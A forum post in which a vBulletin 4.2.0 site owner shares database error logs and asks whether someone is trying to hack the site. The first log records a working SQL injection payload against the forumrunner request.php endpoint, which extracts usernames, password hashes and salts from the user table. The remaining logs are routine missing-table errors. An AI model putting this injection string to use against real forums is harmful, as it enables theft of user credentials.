Databse Error receive daily

[tanzeelniazi]

Hi all again here
some time i found these data base errors, i think some one trying to hack ?? m right ?

Database error in vBulletin 4.2.0:

Invalid SQL:

                SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
                        thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
                FROM post AS post
                LEFT JOIN thread AS thread USING (threadid)
                WHERE postid IN (-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (userid > 10000 and userid < 12000) and(0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--);

MySQL Error   : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 5
Error Number  : 1064
Request Date  : Friday, October 13th 2017 @ 09:23:43 AM
Error Date    : Friday, October 13th 2017 @ 09:23:43 AM
Script        : http://www.xxxxxxxxx.com/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(user)where%20(userid%20%3E%2010000%20and%20userid%20%3C%2012000)%20and(0x00)%20in%20(@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--
Referrer      :
IP Address    : 1**.1**.2**.**
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :

Mostly i receive daily these types of error

Database error in vBulletin 4.2.0:

Invalid SQL:

                 SELECT
                         count(*) as maxre
                 FROM tagthread
                 GROUP BY tagid
                 ORDER BY maxre DESC
                 LIMIT 0,1;

MySQL Error   : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Friday, October 13th 2017 @ 02:07:45 AM
Error Date    : Friday, October 13th 2017 @ 02:07:46 AM
Script        : http://www.xxxxxxxxxxxxxx.com/cron.php?rand=1507860459
Referrer      : https://www.xxxxxxxxxxxxxx.com/forum.php
IP Address    : 1**.1**.*9.1**
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :

--------------- Added [DATE]1507913371[/DATE] at [TIME]1507913371[/TIME] ---------------

Some time these daily receive with new thread id

Database error in vBulletin 4.2.0:

Invalid SQL:

                 SELECT
                         count(*) as maxre
                 FROM tagthread
                 GROUP BY tagid
                 ORDER BY maxre DESC
                 LIMIT 0,1;

MySQL Error   : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Thursday, October 12th 2017 @ 02:06:31 AM
Error Date    : Thursday, October 12th 2017 @ 02:06:31 AM
Script        : http://www.xxxxxxxxxxx.com/cron.php?rand=1507773989
Referrer      : https://www.xxxxxxxxxxxx.com/showthread.php?64592-*****-x3&p=915921&posted=1
IP Address    : 1**.**8.**.*7
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :